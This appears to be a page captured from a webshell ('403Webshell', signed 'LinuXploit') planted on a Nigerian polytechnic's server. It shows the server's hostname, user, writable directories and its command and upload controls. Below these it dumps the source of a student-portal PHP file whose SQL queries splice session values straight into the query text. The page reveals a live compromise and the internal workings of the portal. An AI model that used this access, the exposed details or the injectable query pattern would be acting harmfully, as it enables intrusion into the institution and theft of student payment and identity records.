403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.50.62
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/ace_admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/ace_admin_student/headMain.php
<?php
session_start();
$it_start=$_SESSION['it_print'];
$asession=$_SESSION['asession'];
$asemester=$_SESSION['asemester'];
-
require_once('../connect.php');
$db=db_connect();
$sql_current=$db->query("select * from current where sn=3");
$num_current=$sql_current->rowCount($sql_current);
$row_current=$sql_current->fetch(PDO::FETCH_BOTH);

if ($num_current>0){
//    $semester=$_SESSION['asemester']=$row_current['asemester'];
//    $asession=$_SESSION['asession']=$row_current['asession'];
//    $it_print=$_SESSION['it_print']=$row_current['it_start'];
//    $result_table=$_SESSION['result_table']=$row_current['result_table'];
    $siwes_begin=$_SESSION['siwes_begin']=$row_current['siwes'];
    $rsemester=$_SESSION['rsemester']=$row_current['rsemester'];
    $rsession=$_SESSION['rsession']=$row_current['rsession'];
//                die();
}
$rsession=$_SESSION['rsession'];
$rsemester=$_SESSION['rsemester'];

require_once ('result_fetch.php');

if ((isset($_SESSION['sName'])) and (isset( $_SESSION['matNo']))){
    $userLogin=$_SESSION['sName'];
}elseif((isset($_SESSION['names']))and (isset( $_SESSION['matNo']))){
    $userLogin=$_SESSION['names'];
}else{
	header('location:login.php');
}
?>
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/html">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Student CPanel | ACCESS FOR COLLABORATIVE EDUCATION (ACE) CENTRE, OSUN STATE</title>

    <!-- Bootstrap Core CSS -->
    <link href="../bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">


    <!-- MetisMenu CSS -->
    <link href="../bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">
    <!-- DataTables CSS -->
    <link href="../bower_components/datatables-plugins/integration/bootstrap/3/dataTables.bootstrap.css" rel="stylesheet">

    <!-- DataTables Responsive CSS -->
    <link href="../bower_components/datatables-responsive/css/dataTables.responsive.css" rel="stylesheet">
    <!-- Custom CSS -->
    <link href="../dist/css/sb-admin-2.css" rel="stylesheet">

    <!-- Custom Fonts -->
    <link href="../bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
    <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
    <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->

</head>

<body >

<div id="wrapper">

    <!-- Navigation -->

    <nav class="navbar navbar-inverse navbar-static-top btn-primary" role="navigation" style="margin-bottom: 0">
        <div class="navbar-header">
            <img src="../images/ace_logoOriginal.png">
            <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
                <span class="sr-only">Toggle navigation</span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a class="navbar-brand" href="index.html"></a>
            &nbsp;
            <br>
            &nbsp;
        </div>
        <!-- /.navbar-header -->

        <ul class="nav navbar-top-links navbar-right">
            <li class="dropdown">
                <a class="dropdown-toggle" data-toggle="dropdown" href="#">
                    <i class="fa fa-envelope fa-fw"></i>  <i class="fa fa-caret-down"></i>
                </a>
                <ul class="dropdown-menu dropdown-messages">
                    <li>
                        <a href="#">
                            <div>
                                <strong>Message</strong>
                                    <span class="pull-right text-muted">
                                        <em>Now</em>
                                    </span>
                            </div>
                            <div>No Message...</div>
                        </a>
                    </li>
                    <li class="divider"></li>

                </ul>
                <!-- /.dropdown-messages -->
            </li>
            <!-- /.dropdown -->
            <li class="dropdown">
                <a class="dropdown-toggle" data-toggle="dropdown" href="#">
                    <i class="fa fa-bell fa-fw"></i>  <i class="fa fa-caret-down"></i>
                </a>
                <ul class="dropdown-menu dropdown-alerts">
                    <li>
                        <a href="#">
                            <div>
                                <i class="fa fa-comment fa-fw"></i> Entrepreneurship Programme
                                <span class="pull-right text-muted small">4 minutes ago</span>
                            </div>
                        </a>
                    </li>
                    <li class="divider"></li>

                </ul>
                <!-- /.dropdown-alerts -->
            </li>
            <!-- /.dropdown -->
            <li class="dropdown">
                <a class="dropdown-toggle" data-toggle="dropdown" href="#">
                    <i class="fa fa-user fa-fw"></i>  <i class="fa fa-caret-down"></i>
                </a>
                <ul class="dropdown-menu dropdown-user">
                    <li><a href="#"><i class="fa fa-user fa-fw"></i> <?php echo $names=$_SESSION['names']?> Profile</a>
                    </li>
                    <li class="divider"></li>
                    <li><a href="changeLogin.php"><i class="fa fa-gear fa-fw"></i> Settings</a>
                    </li>
                    <li class="divider"></li>
                    <li><a href="logout.php"><i class="fa fa-sign-out fa-fw"></i> Logout</a>
                    </li>
                </ul>
                <!-- /.dropdown-user -->
            </li>
            <!-- /.dropdown -->
        </ul>
        <!-- /.navbar-top-links -->
        <br>
        <br>
        &nbsp;
        <br>
        <div class="navbar-default sidebar" role="navigation">
            <div class="sidebar-nav navbar-collapse">
                <ul class="nav" id="side-menu">
                    <li class="sidebar-search">
                        <div class="input-group custom-search-form">
                            <input type="text" class="form-control" placeholder="Search...">
                                <span class="input-group-btn">
                                <button class="btn btn-default" type="button">
                                    <i class="fa fa-search"></i>
                                </button>
                            </span>
                        </div>
                        <!-- /input-group -->
                    </li>
                    <li>
                        <a href="admin.php"><i class="fa fa-dashboard fa-fw"></i> Dashboard <?php echo '('.$userLogin.')';?></a>
                    </li>
                    <li>

                        <a href="../index.php"><i class="fa fa-home"></i> Back to Home Page </a>

                        <!-- /.nav-second-level -->
                    </li>
                    <?php
                    $summerStatus=0;
                    require_once('../connect.php');
                    $db=db_connect();
                    $levelID=$_SESSION['levelID'];

                    $matNo=$_SESSION['matNo'];
                     $graduated=$db->query("select * from ace_realdata where matNo='$matNo' and graduated<>'Yes'");
                    $graduated_count=$graduated->rowCount();
                    $_SESSION['graduated']=$graduated_count;
                    if ($graduated_count==1) {
                        $graduated_fetch=$graduated->fetch(PDO::FETCH_BOTH);
                        $real_levelID=$graduated_fetch['levelID'];
                        $summerStatus=$graduated_fetch['summerStatus'];
//                        echo $summerStatus;
//                        $activeStudent=$graduated_fetch['activeStudent'];
                        $kk='';
                        ?>
                        <li>
                            <a href="#"><i class="fa fa-list-ul fa-fw"></i> Registration <span
                                    class="fa arrow"></span></a>
                            <ul class="nav nav-second-level">
                                <li>
                                    <a href="biodata.php" style="display: ">Biodata Update</a>
                                </li>

                                <li>
                                    <a href="idCard.php" style="display: ">ID Card Update</a>
                                </li>
                                <!-- <li>
                                     <a href="olevel.php">O'Level Comfirmation</a>
                                 </li>-->
                                <li>
                                    <a href="olevelupdate.php" style="display: ">O'Level Update</a>
                                </li>
                                <li>
                                    <a href="courseReg.php" style="display: ">ND Course Registration</a>
                                </li>
                                <li>
                                    <a href="nce_courseReg.php" style="display: ">NCE Course Registration</a>
                                </li>
<!--                                <li>-->
<!--                                    <a href="courseReg_second.php" style="display: none">Second Course Registration</a>-->
<!--                                </li>-->

                            </ul>
                            <!-- /.nav-second-level -->
                        </li>
                    <?php
                    }else{
                        $real_levelID=0;
                        $kk='style="display: none"';
                        $graduated1=$db->query("select * from ace_realdata where matNo='$matNo' and graduated='Yes'");
                        $graduated_count1=$graduated1->rowCount();

                        if ($graduated_count1==1){
                            $graduated1_fetch=$graduated1->fetch(PDO::FETCH_BOTH);
                            $real_levelID=$graduated1_fetch['levelID'];
                            $kk='';
                        }
                    }
                        ?>
                    <li <?php echo $kk;?>>
                        <a href="#"><i  class="fa fa-upload fa-fw"></i> Payment <span class="fa arrow"></span></a>
                        <ul class="nav nav-second-level">
                            <?php
if ($graduated_count==1) {
    ?>

    <li>
        <<a href="index_pay_damages.php" style="display: ">Damages Fee</a>
    </li>
    <li>
        <a href="remitaschoolfee.php?a=2" style="display: ">School Fees via Card</a>
    </li>
    <li>
        <a href="remitaschoolfee.php?a=1" style="display: ">School Fees via Bank Account No</a>
    </li>
    <li>
        <a href="index_pay_olevel.php" style="display: ">Additional O'Level</a>
    </li>
<?php
}
    ?>
                            <li>
                                <a href="remitaPayment.php">Other Payment</a>
                            </li>
                        </ul>
                    </li>
                    <?php
if (isset($_SESSION['siwes_begin'])) {
    $dept_siwes_eligible = $_SESSION['siwes_begin'];
}else{
    $dept_siwes_eligible = $_SESSION['siwes_begin']=0;
}

                    $siwes=$db->query("select * from siwesexception where matNo='$matNo'");
                    $siwes_count=$siwes->rowCount();
                    if(isset($_SESSION['siwes'])){
                        $dept_siwes_eligible=$_SESSION['siwes']=0;
                    }

if (($dept_siwes_eligible==21)or ($matNo=='BT20221701717')){
                    if (($real_levelID==1) or ($real_levelID==8) or ($siwes_count==1)  ){//or ($dept_siwes_eligible==0)) {
                        ?>
                        <li>
                            <a href="#"><i class="fa fa-upload fa-fw"></i> <?php //echo $dept_siwes_eligible;?>SIWES Programme<span class="fa arrow"></span></a>
                            <ul class="nav nav-second-level">
                                <li>
                                    <a href="#"><i class="glyphicon-pencil"></i> Forms<span class="fa arrow"></span></a>
                                    <?php

                                        echo '<ul class="nav nav-third-level"  style="display: none">';

                                        ?>

                                        <li>
                                            <a href="siwes/siwesBiodata.php">SIWES Biodata Form</a>
                                        </li>
                                        <li>
                                            <a href="siwes/siwesReference.php">SIWES Placement Form</a>
                                        </li>
                                        <li>
                                            <a href="siwes/siwesEndProgram.php">Report Sheet Form</a>
                                        </li>


                                    </ul>

                                </li>

                                <li>
                                    <a href="#"><i class="fa fa-print fa-fw"></i>Printing <span class="fa arrow"></span></a>
                                    <ul class="nav nav-third-level">
                                        <li>
                                            <a href="siwes/siwesLetter.php" target="_blank">SIWES Letter</a>
                                        </li>
                                        <li>
                                            <a href="#" target="_blank"></i>SIWES Biodata</a>
                                        </li>
                                        <li>
                                            <a href="siwes/siwesPlacement.php" target="_blank"></i>SIWES Placement</a>
                                        </li>
                                        <li>
                                            <a href="siwes/siwesReferencePrint.php" target="_blank">SIWES Placement Reference</a>
                                        </li>
                                        <li>
                                            <a href="siwes/siwesForm8.php" target="_blank">SIWES E.O.P Report</a>
                                        </li>
                                        <li>
                                            <a href="siwes/siwesAssessmentFormA1.php" target="_blank">Assessment Form (Form A1)</a>
                                        </li>
                                        <li>
                                            <a href="siwes/siwesAssessmentFormA2.php" target="_blank">Assessment Form (Form A2)</a>
                                        </li>
                                        <li>
                                            <a href="siwes/employerForm.php" target="_blank">Assessment Form (Form A2)</a>
                                        </li>

                                    </ul>
                                </li>

                            </ul>
                        </li>
                    <?php
                   }
}

                    ?>
                    <li <?php echo $kk;?>>
                        <a href="#"><i class="fa fa-print fa-fw"></i> Printing/Downloading <span class="fa arrow"></span></a>
                        <ul class="nav nav-second-level">
<?php
if ($graduated_count==1) {
    ?>

    <li>
        <a href="print/admissionLetter.php" target="_blank">Admission Letter</a>
    </li>
    <li>
        <a href="print/acceptancePrint.php" target="_blank">Acceptance Fee Receipt </a>

    </li>

    <li>
        <a href="print/biodataPrint.php" target="_blank">Biodata </a>
    </li>
    <li>
        <a href="print/coursePrint.php" target="_blank">ND Semester Course Form</a>
    </li>
    <li>
        <a href="print/nce_coursePrint.php" target="_blank">NCE Semester Course Form</a>
    </li>
    <li>
        <a href="print/examSlip.php" target="_blank" style="display: none">Exam Slip</a>
    </li>

    <li>
        <a href="print/schoolFeePrint.php" target="_blank">School Fees Receipt</a>
    </li>
                            <!-- <li>
                               <a href="print/coursePrint_second.php" style="display: none" target="_blank">Second Semester Course Form</a>
    </li>-->
    <<li>
<!--        <a href="print/clearanceCertificate.php" target="_blank" >Semester Clearance</a>-->
    </li>

     <li>
          <a href="idCard.php" target="_blank" >ID Card Preview</a>
      </li>

      <li>
          <a href="print/libraryPrint.php" target="_blank" >Library/Clearance</a>
      </li>
    <?php

    if (($it_start==1) and ($levelID==2 or $levelID==9 or $levelID==7)){
        echo '<li>
        <a href="siwes/itLetter.php" target="_blank">IT Letter</a>
    </li>';
    }

    if  ($levelID==1 or $levelID==3 or $levelID==8 or $levelID==5 or $levelID==11 or $levelID==10){
        echo '<li>
        <a href="print/medForm.php" target="_blank" style="display:">Medical Form</a>
    </li>';
    }

}
    ?>
                            <li>
                                <a href="studentLoginNow.php" target="_blank">Semester Result</a>
                            </li>



                        </ul>
                </li>

<!--============================ Summer-->
<?php
$resultRemark=
//$checkRemark="select * from rawcgpa where matNo='$matNo' and `remark` LIKE '%OC-%' and (`level`='National Diploma II FT SECOND SEMESTER' or `level`='Higher National Diploma II FT SECOND SEMESTER' or `level`='National Diploma III PT SECOND SEMESTER' or level='National Diploma (Daily) II PT SECOND SEMESTER' )";
//$resultRemark=$db->query($checkRemark);
//echo $numRemark=$resultRemark->rowCount();
$numRemark=$summerStatus;
 $numRemark=0;
if ($numRemark>0){

?>
               <li>
                        <a href="#"><i class="fa fa-adjust fa-fw"></i> Summer Programme<span class="fa arrow"></span></a>
                        <ul class="nav nav-second-level">
                            <li>
                                <a href="remitaschoolfeeSummer.php" target="_blank">Pay Summer School Fees</a>
                            </li>
                            <li>
                                <a href="courseRegSummer.php" target="_blank">Course Registration</a>
                            </li>
                            <li>
                                <a href="print/coursePrintSummer.php" target="_blank">Print Course Form</a>
                            </li>
                            </ul>
                        </li>


                            <?php
                            }
                            ?>


<!--- End    CS201300650

                <!-- /.nav-second-level -->
                    <li style="text-align: center">
                        <a href="#" style="background-color: PINK">
                            <div class="huge" >

                                <img src="https://federalpolyede.edu.ng/passport/Reg<?php echo $matNo;?>.jpg" width="140px" height="140px" class="img-circle" />
                            </div>
                            <strong><div><?php echo $names ;?></div>
                            <div><?php echo $matNo ;?></div>
                            <div><?php echo 'ND Dept - '.$_SESSION['course'] ;?></div>
                                <div><?php echo 'NCE Dept - '.$_SESSION['nce_deptName'] ;?></div>
                            <div><?php

                                $sql_l=$db->query("select * from leveltb where id='$levelID'");
                                $sql_l_fetch=$sql_l->fetch(PDO::FETCH_BOTH);
                               echo $levelName=$sql_l_fetch['levelName'].'['.$asession.']';
                                ;?></div></strong>
                        </a>
                    </li>
                    </ul>
                </li>


            </div>

            <!-- /.sidebar-collapse -->
        </div>
        <!-- /.navbar-static-side -->
    </nav>

    <!-- Page Content -->
    <div id="page-wrapper">
        <div class="container-fluid">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">Student Account <span style="font-size: 20px; color: blue;"><?php echo '('.$_SESSION['asession']. ' - '. $_SESSION['asemester'].')';?></span></h1>
                </div>
                <!-- /.col-lg-12 -->
            </div>
            <!-- /.row -->
            <!-- /.row -->
            <div class="row">
                <div class="col-lg-3 col-md-6">
                    <div class="panel panel-primary">
                        <div class="panel-heading">
                            <div class="row">
                                <div class="col-xs-3">

                                </div>
                                <div class="col-xs-10 text-center">
                                    <?php
                                     $matNo=$_SESSION['matNo'];
                                     $formNo=$_SESSION['formNo'];

                                    $sql="select sum(amtPaid) as amt from ace_remitaorder where regNo='$formNo' and paymentType='Acceptance Fee' and transApproved='True' and status<>'Re-fund'";
                                    $query=$db->query($sql);
                                    $row_acceptance=$query->fetch(PDO::FETCH_BOTH);
                                    $numK=$query->rowCount();
                                    //$admitted=$num;
                                    ?>
                                    <div class="huge">
                                        <?php
if($formNo<>0) {
    if ($row_acceptance['amt'] <> 0) {
        echo $row_acceptance['amt'];
    } else {
        echo 'Not Paid';
    }
}else{
                                            echo 'N/A';
                                        }
                                        ?></div>
                                    <div></div>
                                </div>
                            </div>
                        </div>
                        <a href="print/acceptancePrint.php" target="_blank">
                            <div class="panel-footer">
                                <span class="pull-left">Acceptance Fees </span>
                                <span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
                                <div class="clearfix"></div>
                            </div>
                        </a>
                    </div>
                </div>
                <div class="col-lg-3 col-md-6">
                    <div class="panel panel-green">
                        <div class="panel-heading">
                            <div class="row">
                                <div class="col-xs-3">
                                </div>
                                <div class="col-xs-10 text-center">
                                        <?php
                                        //echo $formNo;
                                       // echo $matNo;
                                        $sql_schoolFee="select sum(amtPaid) as amt,regNo from ace_remitaorder where (regNo='$formNo' or regNo='$matNo') and paymentType like '%School Fees' and transApproved='True' and pay_session='2018/2019'";

                                        $query_schoolFee=$db->query($sql_schoolFee);
                                        $row_schoolFee=$query_schoolFee->fetch(PDO::FETCH_BOTH);

                                        $num_schoolFee=$query_schoolFee->rowCount();
                                       // echo $row_schoolFee['amt'];

                                        //$admitted=$num;
                                       // echo $num_schoolFee;
                                         $amtCheck=$row_schoolFee[0];
                                        $_SESSION['amtPaidSF']=$row_schoolFee['amt'];
                                        ?>
                                    <div class="huge"><?php if ($amtCheck>0){echo $row_schoolFee['amt'];}else{ echo 'Not Paid';}?></div>
                                    </div>
                                    <div></div>
                                </div>
                            </div>

                        <a href="print/schoolFeePrint.php" target="_blank">
                            <div class="panel-footer">
                                <span class="pull-left">School Fees </span>
                                <span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
                                <div class="clearfix"></div>
                            </div>
                        </a>
                    </div>
                </div>
                <div class="col-lg-3 col-md-6">
                    <div class="panel panel-yellow">
                        <div class="panel-heading">
                            <div class="row">

                                <div class="col-xs-10 text-center">
                                    <div class="huge">
                                        <?php
                                         $levelID=$_SESSION['levelID'];
                                        $sql_otherFee="select sum(amtPaid) as amt,regNo from ace_remitaorder where (regNo='$formNo' or regNo='$matNo') and paymentType not like '%School Fees' and paymentType not like 'Acceptance Fee'  and transApproved='True' and status<>'Re-fund'";
                                      // $sql_level="select * from leveltb where id='$levelID'";
                                        $query_oFee=$db->query($sql_otherFee);
                                        $query_oFee_fetch=$query_oFee->fetch(PDO::FETCH_BOTH);
                                       // $numa=mysql_num_rows($querya);
                                        if ($query_oFee_fetch['amt']>0){echo $query_oFee_fetch['amt'];}else{echo '0.00';};
                                        ?>
                                    </div>
                                    <div></div>
                                </div>
                            </div>
                        </div>
                        <a href="paymentHistoryb.php" target="_blank">
                            <div class="panel-footer">
                               <!-- <span class="pull-left">--><?php
                                   // $k=$db->query("select * from current");
                                   // $roww=$k->fetch(PDO::FETCH_BOTH);
                                   // echo $deptID=$_SESSION['course'].'('.$roww['asession'].')';?>
                                    <span class="pull-left">Other Payment(s)</span>
                                <span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
                                <div class="clearfix"></div>
                            </div>
                        </a>
                    </div>
                </div>
                <div class="col-lg-2 col-md-6">
                        <div class="panel-heading">
                            <div class="row">
                                <div class="col-xs-12 text-right">
                                    <div class="huge">
                                       <img src="../passport/Reg<?php echo $matNo;?>.jpg" width="140px" height="140px" class="img-circle" />


                                    </div>
                                    <div></div>
                                </div>

                        </div>

                    </div>
                </div>
            </div>
            <!-- /.row -->
        </div>
        <!-- /.container-fluid -->


<?php
?>

Youez - 2016 - github.com/yon3zu
LinuXploit